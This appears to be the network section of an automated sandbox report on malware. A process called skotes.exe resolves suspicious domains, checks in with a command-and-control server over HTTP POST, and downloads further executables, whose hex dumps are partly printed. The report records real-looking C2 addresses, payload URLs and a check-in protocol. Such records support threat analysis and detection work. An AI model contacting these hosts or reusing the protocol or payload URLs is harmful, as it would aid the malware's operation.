Dec 18, 2024 11:09:48.885675907 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.885936975 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.885977030 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.887223005 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.887234926 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.887267113 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.887281895 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.888366938 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.888376951 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.888387918 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.888410091 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.888432026 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.889431000 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.889442921 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.889452934 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.889476061 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.889497042 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.891202927 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.891213894 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.891226053 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.891237020 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.891251087 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.891274929 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.892312050 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.892323017 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.892353058 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.892374039 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.893394947 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.893438101 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.894288063 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.894330025 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.894488096 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.894500017 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.894526005 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.894541979 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.895272017 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.895317078 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.895493984 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.895534039 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.896365881 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.896406889 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.897095919 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.897138119 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.897361994 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.897403955 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.897547960 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.897586107 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.898629904 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.898674011 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:49.115773916 CET	443	49959	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:49.115865946 CET	443	49959	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:49.115914106 CET	49959	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:49.116013050 CET	49959	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:49.116033077 CET	443	49959	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:49.279011965 CET	49980	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:49.279055119 CET	443	49980	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:49.279112101 CET	49980	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:49.279434919 CET	49980	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:49.279448032 CET	443	49980	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:50.491605043 CET	443	49980	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:50.491708040 CET	49980	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:50.508055925 CET	49980	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:50.508088112 CET	443	49980	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:50.508287907 CET	443	49980	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:50.509412050 CET	49980	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:50.509543896 CET	49980	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:50.509568930 CET	443	49980	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:50.509623051 CET	49980	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:50.509632111 CET	443	49980	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:51.128348112 CET	49961	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:51.128655910 CET	49985	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:51.248285055 CET	80	49985	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:51.248301029 CET	80	49961	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:51.248496056 CET	49961	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:51.248509884 CET	49985	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:51.248774052 CET	49985	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:51.369512081 CET	80	49985	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:52.583348989 CET	80	49985	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:52.583400011 CET	49985	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:54.204250097 CET	49985	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:54.204627037 CET	49994	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:54.324327946 CET	80	49994	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:54.324414015 CET	49994	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:54.324561119 CET	80	49985	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:54.324601889 CET	49994	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:54.324630022 CET	49985	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:54.444123030 CET	80	49994	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:55.668965101 CET	80	49994	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:55.670684099 CET	49994	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:56.629590988 CET	443	49971	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:56.629703999 CET	443	49971	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:56.629846096 CET	49971	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:56.629846096 CET	49971	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:56.798902988 CET	50000	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:56.798954010 CET	443	50000	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:56.799014091 CET	50000	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:56.799679995 CET	50000	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:56.799693108 CET	443	50000	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:57.641715050 CET	49994	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:57.642047882 CET	50003	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:57.761645079 CET	80	50003	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:57.761739016 CET	80	49994	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:57.761862993 CET	49994	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:57.762070894 CET	50003	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:57.762070894 CET	50003	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:57.881562948 CET	80	50003	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:58.015664101 CET	443	50000	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:58.015741110 CET	50000	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:58.020857096 CET	50000	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:58.020863056 CET	443	50000	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:58.021128893 CET	443	50000	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:58.025566101 CET	50000	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:58.025738001 CET	50000	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:58.025768995 CET	443	50000	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:58.026510000 CET	50000	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:58.067325115 CET	443	50000	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:59.105633974 CET	80	50003	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:59.105690002 CET	50003	80	192.168.2.6	185.215.113.43

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 11:09:17.031543016 CET	52014	53	192.168.2.6	1.1.1.1
Dec 18, 2024 11:09:17.251812935 CET	53	52014	1.1.1.1	192.168.2.6
Dec 18, 2024 11:09:17.256336927 CET	54533	53	192.168.2.6	1.1.1.1
Dec 18, 2024 11:09:17.575562954 CET	53	54533	1.1.1.1	192.168.2.6
Dec 18, 2024 11:09:23.382252932 CET	59941	53	192.168.2.6	1.1.1.1
Dec 18, 2024 11:09:23.697999001 CET	53	59941	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 11:09:17.031543016 CET	192.168.2.6	1.1.1.1	0x59ca	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:09:17.256336927 CET	192.168.2.6	1.1.1.1	0xa0d2	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:09:23.382252932 CET	192.168.2.6	1.1.1.1	0x49e4	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 11:09:17.251812935 CET	1.1.1.1	192.168.2.6	0x59ca	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:09:17.575562954 CET	1.1.1.1	192.168.2.6	0xa0d2	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:09:17.575562954 CET	1.1.1.1	192.168.2.6	0xa0d2	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:09:23.697999001 CET	1.1.1.1	192.168.2.6	0x49e4	No error (0)	pancakedipyps.click		104.21.23.76	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:09:23.697999001 CET	1.1.1.1	192.168.2.6	0x49e4	No error (0)	pancakedipyps.click		172.67.209.202	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

grannyejh.lat

pancakedipyps.click

185.215.113.43

31.41.244.11

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49862	185.215.113.43	80	1088	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:09:05.676002979 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 11:09:07.023674011 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:09:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49871	185.215.113.43	80	1088	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:09:08.652892113 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 18, 2024 11:09:09.993032932 CET	492	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:09:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 32 64 0d 0a 20 3c 63 3e 31 30 31 36 38 36 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 66 37 30 39 36 34 65 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 36 38 36 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 36 38 37 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 12d <c>1016868001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcf70964e03ac52ea484b411b9dc4e1#1016869001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1016870001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49877	31.41.244.11	80	1088	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:09:10.118413925 CET	59	OUT	GET /files/dodo/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 11:09:11.447705984 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:09:11 GMT Content-Type: application/octet-stream Content-Length: 765568 Last-Modified: Tue, 17 Dec 2024 09:46:16 GMT Connection: keep-alive ETag: "67614868-bae80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bss`@
Dec 18, 2024 11:09:11.447808027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 11:09:11.447819948 CET	1236	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 18, 2024 11:09:11.447937012 CET	1236	IN	Data Raw: f0 68 6d 64 85 93 ff 35 6c 64 42 00 e8 16 fb ff ff 83 c4 08 89 45 e4 8b 55 e4 ff d2 bb 49 05 00 00 be 11 50 42 00 6a 11 68 00 50 42 00 53 56 e8 96 fc ff ff 83 c4 10 6a 0a 68 00 c0 41 00 57 8b 7d 08 57 e8 82 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 Data Ascii: hmd5ldBEUIPBjhPBSVjhAW}Wh5ldBMQj@SVuM11^_[]}uVPB'jT9BUSWV,\$@WB1D$(d=0w@ldBhb-/5ldBE(AD$
Dec 18, 2024 11:09:11.447946072 CET	896	IN	Data Raw: 42 00 31 e0 89 44 24 08 8b 01 8b 40 04 8b 7c 01 38 85 ff 74 48 89 e3 89 d9 56 e8 1a ff ff ff 80 7b 04 00 74 31 8b 07 89 f9 ff 50 34 83 f8 ff 0f 94 c0 8b 0e 8b 51 04 8d 0c 16 83 7c 16 38 00 0f 94 c4 08 c4 0f b6 c4 c1 e0 02 0b 44 16 0c 6a 00 50 e8 Data Ascii: B1D$@\|8tHV{t1P4Q\|8DjPnL$1^_[WV D$,WB1T$A#AuL$1 ^_\|$0t1PP?BBDBD@Bt$RWhABV?
Dec 18, 2024 11:09:11.447947025 CET	1236	IN	Data Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89 Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
Dec 18, 2024 11:09:11.448071957 CET	1236	IN	Data Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64 Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@\|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1HT
Dec 18, 2024 11:09:11.448132038 CET	448	IN	Data Raw: 57 56 8b 5c 24 14 8b 74 24 10 39 de 74 1b 89 cf 83 c7 08 0f b6 06 57 50 e8 f6 21 00 00 83 c4 08 88 06 46 39 de 75 ec 89 de 89 f0 5e 5f 5b c2 08 00 0f b6 44 24 04 83 c1 08 51 50 e8 d3 21 00 00 83 c4 08 c2 04 00 cc 56 8b 44 24 08 8b 74 24 0c 89 f1 Data Ascii: WV\$t$9tWP!F9u^_[D$QP!VD$t$)QPt$tO^D$VD$t$)QPt$JO^D$Vy~vxv^FtPVD$(A1VVQP78
Dec 18, 2024 11:09:11.448156118 CET	1236	IN	Data Raw: 1c 00 00 b9 cc 69 42 00 e8 ef 03 00 00 68 88 b8 41 00 e8 45 01 00 00 59 c3 68 92 b8 41 00 e8 39 01 00 00 59 c3 55 8b ec eb 0d ff 75 08 e8 a9 65 00 00 59 85 c0 74 0f ff 75 08 e8 28 a0 00 00 59 85 c0 74 e6 5d c3 83 7d 08 ff 0f 84 f2 20 00 00 e9 31 Data Ascii: iBhAEYhA9YUueYtu(Yt]} 1UuY]UEV AtjVYY^]U];WBu!UVWdBW09Bu>u&}>td,dBWBW0:B_
Dec 18, 2024 11:09:11.448182106 CET	1236	IN	Data Raw: ec 56 6a 00 6a 00 e8 93 9b 00 00 8b 75 08 85 c0 59 59 b9 53 03 42 00 0f 45 c8 51 8d 4e 24 e8 41 00 00 00 8b 45 0c 85 c0 74 0a 50 6a 00 e8 6c 9b 00 00 59 59 85 c0 b9 88 0e 42 00 0f 45 c8 51 8d 4e 2c e8 1d 00 00 00 5e 5d c3 55 8b ec 8b 45 08 83 78 Data Ascii: VjjuYYSBEQN$AEtPjlYYBEQN,^]UEx$tp$j>YY]USW}9;t>;t3Y#t*?VtF>u+FVYtVWPH^_[]VV(A?~YtvKYfA^UQj cEY
Dec 18, 2024 11:09:11.569111109 CET	1236	IN	Data Raw: 8b 01 8b 50 fc 2b c2 83 c0 fc 83 f8 1f 77 04 89 11 5d c3 e9 7b 81 00 00 8b 41 14 8b 51 10 83 f8 0f 76 02 8b 09 52 50 50 51 e8 45 00 00 00 83 c4 10 c3 8b 41 14 8b 51 10 83 f8 0f 76 02 8b 09 50 52 50 51 e8 2b 00 00 00 83 c4 10 c3 55 8b ec 8b 45 0c Data Ascii: P+w]{AQvRPPQEAQvPRPQ+UE9EtQvPuRQ]UUv<=At3MVuAW}F;F;GVPRW_^]UQS]VWMw+u;Bv+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49888	185.215.113.43	80	1088	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:09:15.670331001 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 38 36 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016868001&unit=246122658369
Dec 18, 2024 11:09:17.000703096 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:09:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49894	31.41.244.11	80	1088	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:09:17.127027988 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 11:09:18.448532104 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:09:18 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 18, 2024 11:09:18.448563099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 11:09:18.448575974 CET	448	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
